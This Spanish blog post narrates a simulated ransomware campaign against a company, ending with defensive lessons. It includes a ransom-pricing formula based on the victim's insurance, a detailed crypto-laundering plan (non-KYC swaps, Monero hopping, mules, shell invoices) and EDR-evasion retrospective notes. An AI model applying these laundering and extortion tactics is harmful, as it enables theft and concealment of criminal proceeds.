&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;IBX-7F3A-22C1
Hosts enrolled: 1432
Hosts active encryption: 612
Files encrypted: 18,442,901
Bytes encrypted: 74.3 TB
Notes written: 91,204
Errors: 3.8%
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El ransomware reportaba en intervalos. No cada archivo. Demasiado ruido. Cada host enviaba resumen:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;{
  &quot;host&quot;: &quot;FS-MAD-04&quot;,
  &quot;status&quot;: &quot;running&quot;,
  &quot;files_done&quot;: 184203,
  &quot;bytes_done&quot;: 98234122112,
  &quot;errors&quot;: 391,
  &quot;elapsed&quot;: 1840
}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

A las 03:02, el NOC de IberLogix vio errores masivos en shares.

A las 03:11, helpdesk recibió llamadas de usuarios en México que aun estaban trabajando.

A las 03:22, un administrador intentó restaurar un archivo y descubrió que parte de los repositorios Veeam no respondían.

A las 03:40, el CISO fue despertado.

A las 04:05, Vesper abrió el portal de negociación.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;El portal: teatro, prueba y control&amp;nbsp;&lt;/h4&gt;&lt;div&gt;El portal Tor de Nebula Jackal no parecía una web de pelicula. Parecía un SaaS barato:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhytty0FnunxfCs_Farr6sH0bgnLk77mUZ2RerT0rrMhRKPrvLxD05X8mTml_OL1eEDbfdMASzoiQ-FLuupkuRNDBG10xyLmv4NN58w28tWxLAm1T_6bukBLs-uJ7vauECBF7asN3a0bWkUDVkiMXBPHOeEeWAGEgelnYDY_lOuewucYGed7R1DaM84v3Pv/s1536/nebulajackal_panel.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhytty0FnunxfCs_Farr6sH0bgnLk77mUZ2RerT0rrMhRKPrvLxD05X8mTml_OL1eEDbfdMASzoiQ-FLuupkuRNDBG10xyLmv4NN58w28tWxLAm1T_6bukBLs-uJ7vauECBF7asN3a0bWkUDVkiMXBPHOeEeWAGEgelnYDY_lOuewucYGed7R1DaM84v3Pv/w640-h426/nebulajackal_panel.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;

Incluía:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Chat
File decrypt test
Data proof browser
FAQ
Payment instructions
Countdown
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La prueba de datos estaba calculada. No publicaban todo. Mostraban lo suficiente:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;10 nominas anonimizadas parcialmente
3 contratos con proveedores
1 documento de seguro ciber
2 capturas de buzones ejecutivos
Listado de directorios legal/finance
Hash manifest de lotes exfiltrados
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Vesper escribió:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;We are not interested in damaging your operations beyond what is necessary.
You have two problems:
1. Encrypted systems.
2. Confidential data exposure.

Both can be solved here.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El tono era deliberado: no rabia, no insultos, no caos. Control.

IberLogix pidií prueba de descifrado. Subieron tres archivos cifrados. Nebula Jackal devolvió dos descifrados y rechazo uno:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Two files decrypted as proof.
Third file rejected: contains legal data. Choose non-sensitive sample.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Ese detalle parecía profesionalidad. También reforzaba una idea: los atacantes habían visto sus documentos.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Negociación: matemática emocional&amp;nbsp;&lt;/h4&gt;&lt;div&gt;La demanda inicial fue 9 millones USD. The Curator ya había definido el suelo: 4.8 millones.

La cifra no salió al azar. Mint y Magpie habían estimado:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Revenue: high
Cyber insurance limit: 10M
Operational downtime cost/day: 1.2M - 2.4M
Regulatory exposure: high
Data sensitivity: high
Backup recovery: partial
PR risk: high
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Modelo interno:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;initial_demand = min(insurance_limit * 0.9, estimated_5_day_loss * 1.1)
floor = max(cashout_target / payment_probability, 0.45 * initial_demand)
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Vesper nunca mencionó el seguro al principio. Esperó a que IberLogix dijera que necesitaba tiempo. Entonces escribió:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Your insurance documentation is part of the downloaded data.
We know delay is a negotiation tactic.
The publication timer is not.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El equipo legal de IberLogix intentó ganar días. Vesper concedió 24 horas a cambio de aumentar prueba de vida: otra muestra descifrada y un árbol de directorios más amplio. La negociación bajó a 6.5M, luego a 5.2M, y finalmente a 4.8M con dos condiciones:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;1. Decryptor funcional para todos los sistemas afectados.
2. Eliminacion de datos exfiltrados y no publicacion.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Nebula Jackal entregaría un &quot;delete log&quot;. Nadie podía verificar realmente que los datos se borrasen. La promesa era parte del teatro. En doble extorsión, el pago compra probabilidad, no certeza.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;El pago: la linea que nunca debe ser recta&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Mint generó una direccion BTC única para IberLogix:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;bc1q-ibx-campaign-unique-address
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Internamente, la wallet estaba etiquetada:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;{
  &quot;victim_id&quot;: &quot;IBX-7F3A-22C1&quot;,
  &quot;expected_btc&quot;: 73.42,
  &quot;usd_basis&quot;: 4800000,
  &quot;split_plan&quot;: &quot;orchid-7&quot;,
  &quot;risk&quot;: &quot;high_visibility&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El pago entró en dos transacciones para reducir ansiedad de la víctima y confirmar recepción:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;TX1: 5% test payment
TX2: 95% final payment
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Una vez confirmado, Nebula Jackal no movió todo inmediatamente. Mover fondos demasiado rápido tras un incidente crea un patrón claro. Mint aplicó un plan de enfriamiento:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;T+0h: funds received, no movement except small test
T+8h: split into 12 UTXO clusters
T+36h: partial conversion via non-KYC swap routes
T+72h: XMR routing for 40%
T+5d: OTC placement for 25%
T+10d: stablecoin conversion for 20%
T+21d: mule distribution for operating costs
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El reparto inicial:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Gross: 4.8M USD equivalent
Expected laundering loss: 18%
Infrastructure reserve: 7%
Emergency/legal reserve: 5%
Net distributable: approx 3.36M
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El plan de chain hopping:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;BTC victim wallet
  -&amp;gt; split wallets
    -&amp;gt; BTC/XMR atomic swap or brokered swap
      -&amp;gt; XMR holding wallets
        -&amp;gt; partial XMR/BTC return through different liquidity
        -&amp;gt; stablecoins via OTC
        -&amp;gt; fiat via brokers/mulas
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Mint tenía reglas:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;No exchange KYC directly from victim-linked UTXO
No equal splits
No round numbers
No synchronized withdrawals
No reuse of deposit addresses
No mixing operator funds with campaign funds
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Ejemplo de split:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;73.42 BTC
  -&amp;gt; 8.13
  -&amp;gt; 3.77
  -&amp;gt; 12.04
  -&amp;gt; 1.92
  -&amp;gt; 6.41
  -&amp;gt; 9.86
  -&amp;gt; 0.64
  -&amp;gt; 14.22
  -&amp;gt; 2.39
  -&amp;gt; 5.58
  -&amp;gt; 4.01
  -&amp;gt; 4.45
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Nada de simetría. La simetría es una firma.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Monetizacion: del token al mundo físico&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Convertir cripto en dinero util era más difícil que recibirla. El equipo financiero usaba varias vías:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;1. Brokers OTC en mercados grises
2. Comerciantes P2P con prima alta
3. Compra de hardware revendible
4. Gift cards mayoristas
5. Stablecoins para pagos internos
6. Sociedades pantalla con facturas falsas
7. Mulas con retiros pequenos
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Cada vía tenia coste y riesgo:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Metodo                 Perdida   Riesgo   Velocidad
OTC gris               8-15%     Medio    Media
P2P cash               15-30%    Alto     Alta
Stablecoin             2-6%      Medio    Alta
Hardware resale        20-35%    Bajo     Baja
Gift cards             25-40%    Medio    Media
Shell invoices         10-25%    Alto     Baja
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La clave era no maximizar rendimiento, sino supervivencia. Un 20% de perdida era aceptable si reducía trazabilidad y distribuía riesgo.

Las mulas no recibían millones. Recibían tareas:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Mula A: vender hardware comprado con cripto
Mula B: mover stablecoins a efectivo local
Mula C: aceptar pago por factura falsa
Mula D: comprar cuentas cloud y dominios
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La mayoría no sabia que participaba en ransomware. Algunos creian trabajar en arbitraje cripto. Otros sabían suficiente para cobrar mas y preguntar menos.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Reparto interno&amp;nbsp;&lt;/h4&gt;&lt;div&gt;The Curator aplicó el contrato interno:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Direction / risk owner: 18%
Initial access cell: 12%
Malware team: 18%
Intrusion operators: 20%
Infrastructure/OPSEC: 8%
Exfiltration: 7%
Negotiation: 7%
Finance/cashout: 10%
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Pero no todo se pagaba al instante. Había vesting criminal:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;40% immediate after confirmed payment
30% after successful decryptor delivery
20% after first cashout phase
10% reserve released after 60 days
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Motivo: evitar que alguien desapareciera con fondos o vendiera datos por su cuenta.

Ledger interno, cifrado:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;{
  &quot;campaign&quot;: &quot;black_orchard&quot;,
  &quot;gross_usd&quot;: 4800000,
  &quot;net_distributable_usd&quot;: 3360000,
  &quot;members&quot;: [
    {&quot;id&quot;: &quot;curator&quot;, &quot;share&quot;: 0.18, &quot;paid&quot;: 241920},
    {&quot;id&quot;: &quot;saltline&quot;, &quot;share&quot;: 0.12, &quot;paid&quot;: 161280},
    {&quot;id&quot;: &quot;sable&quot;, &quot;share&quot;: 0.08, &quot;paid&quot;: 107520},
    {&quot;id&quot;: &quot;oboe&quot;, &quot;share&quot;: 0.05, &quot;paid&quot;: 67200},
    {&quot;id&quot;: &quot;nadir&quot;, &quot;share&quot;: 0.05, &quot;paid&quot;: 67200},
    {&quot;id&quot;: &quot;knifewall&quot;, &quot;share&quot;: 0.12, &quot;paid&quot;: 161280},
    {&quot;id&quot;: &quot;meridian&quot;, &quot;share&quot;: 0.08, &quot;paid&quot;: 107520},
    {&quot;id&quot;: &quot;hollow&quot;, &quot;share&quot;: 0.07, &quot;paid&quot;: 94080},
    {&quot;id&quot;: &quot;vesper&quot;, &quot;share&quot;: 0.07, &quot;paid&quot;: 94080},
    {&quot;id&quot;: &quot;mint&quot;, &quot;share&quot;: 0.10, &quot;paid&quot;: 134400}
  ],
  &quot;reserve_usd&quot;: 336000
}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Los pagos internos se hacian en combinaciones:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;XMR para operadores senior
USDT/USDC para infraestructura y servicios
BTC limpio por OTC para reservas
Fiat local para mulas
Servicios prepagados para futuras campanas&lt;/code&gt;&lt;/pre&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;

El descifrador&lt;/h4&gt;&lt;/div&gt;&lt;div&gt;Tras el pago, Nebula Jackal entregó un decryptor:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;IberLogix_Decryptor.exe
private_key_package.dat
README_RECOVERY.txt
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El decryptor era lento, pero funcionaba. Ese era otro detalle de negocio: si el descifrador no funcionaba, futuras victimas tendrian menos incentivos para pagar. El ransomware criminal maduro depende de reputación paradójica.

El README:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;1. Ejecutar como administrador.
2. Probar primero en 10 archivos.
3. No ejecutar multiples instancias sobre el mismo path.
4. Usar --network-shares para rutas UNC.
5. Guardar logs.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Parámetros:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;.\IberLogix_Decryptor.exe --key private_key_package.dat --path D:\Data --threads 8
.\IberLogix_Decryptor.exe --key private_key_package.dat --network-shares \\fs-mad-04\finance
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La recuperación duró días. Algunos archivos estaban corruptos por bloqueos previos, software abierto o fallos de red. Nebula Jackal ofreció &quot;soporte&quot; en el chat durante 72 horas. Vesper incluso pidió logs.

El absurdo era perfecto: la empresa recibía soporte técnico de quien la había destruido.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Burn: desaparecer no es apagar&amp;nbsp;&lt;/h4&gt;&lt;div&gt;&amp;nbsp;Después del pago, Nebula Jackal ejecutó la fase Burn.

Lista:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Revoke phishing domains
Destroy VPS frontales
Rotate WireGuard keys
Archive campaign repos
Invalidate operator accounts
Move leak data to cold storage or delete selected lots
Retire SeedCrate config
Generate YARA diff for exposed samples
Update detections internas
Freeze aliases used
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Sable revisó muestras capturadas por defensores. Oboe comparó indicadores publicados. Magpie leyó los primeros informes de prensa. The Curator calculó el ROI:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Campaign duration: 31 days
Active intrusion: 19 days
Gross paid: 4.8M
Net estimated: 3.36M
Operational cost: 214k
Exposed infrastructure: acceptable
Tooling burned: partial
Operator exposure: low
Reuse potential: medium
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Retrospectiva interna:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;What worked:
  - HR pretext aligned with real migration
  - Low-noise loader survived
  - Backup admin path via acquisition user
  - Insurance document improved negotiation

What failed:
  - One EDR flagged Nighthook memory pattern after day 8
  - rclone binary naming appeared in DFIR notes
  - GPO deployment missed 18% remote laptops
  - Decryptor too slow on large PST files

Actions:
  - Refactor Nighthook memory allocator
  - Replace rclone with custom S3 client
  - Improve laptop wake/encrypt routine
  - Add PST sparse recovery mode
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Nebula Jackal no pensaba en Black Orchard como una historia. Pensaba en ella como una versión.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;La lectura defensiva&amp;nbsp;&lt;/h4&gt;&lt;div&gt;La belleza oscura de una campana así es que no depende de un milagro técnico. Depende de pequeñas decisiones que, aisladas, parecen defendibles:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Un correo de RRHH plausible.
Un dominio parecido.
Un ZIP con contrasena.
Un LNK que abre un PDF real.
Una DLL cargada por una app legitima.
Una tarea programada con nombre aburrido.
Una credencial vieja en SYSVOL.
Un usuario de adquisicion con permisos pendientes.
Un backup server demasiado poderoso.
Una exfiltracion que parece backup.
Una GPO con permisos delegados.
Un domingo de madrugada.
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La defensa no puede limitarse a detectar &quot;ransomware.exe&quot;. Cuando aparece el cifrado, la historia ya esta escrita.

Los puntos de ruptura estaban antes:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;1. Deteccion de dominios lookalike y certificados recien emitidos.&lt;/div&gt;&lt;div&gt;2. Bloqueo o aislamiento de HTML smuggling y archivos LNK desde Internet.&lt;/div&gt;&lt;div&gt;3. Control de DLL sideloading mediante allowlisting.&lt;/div&gt;&lt;div&gt;4. Alertas por scheduled tasks nuevas en perfiles de usuario.&lt;/div&gt;&lt;div&gt;5. Limpieza continua de credenciales en SYSVOL.&lt;/div&gt;&lt;div&gt;6. Revision de permisos tras adquisiciones.&lt;/div&gt;&lt;div&gt;7. Monitoreo de accesos anormales a backup servers.&lt;/div&gt;&lt;div&gt;8. Segmentacion real de repositorios de backup.&lt;/div&gt;&lt;div&gt;9. Deteccion de exfiltracion por volumen, horario y destino.&lt;/div&gt;&lt;div&gt;10. GPO change monitoring con aprobacion fuerte.&lt;/div&gt;&lt;div&gt;11. Simulacros de ransomware con restauracion medida.&lt;/div&gt;&lt;div&gt;12. Correlacion narrativa: convertir alertas sueltas en una historia.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

IberLogix no perdió por no tener herramientas. Perdió porque Nebula Jackal hizo que cada señal pareciera pertenecer a una historia distinta hasta que todas se unieron en la peor posible.

Esa es la esencia de una APT simulada bien construida: no es un ataque mas sofisticado en cada pieza. Es una cadena donde cada pieza conoce su lugar.

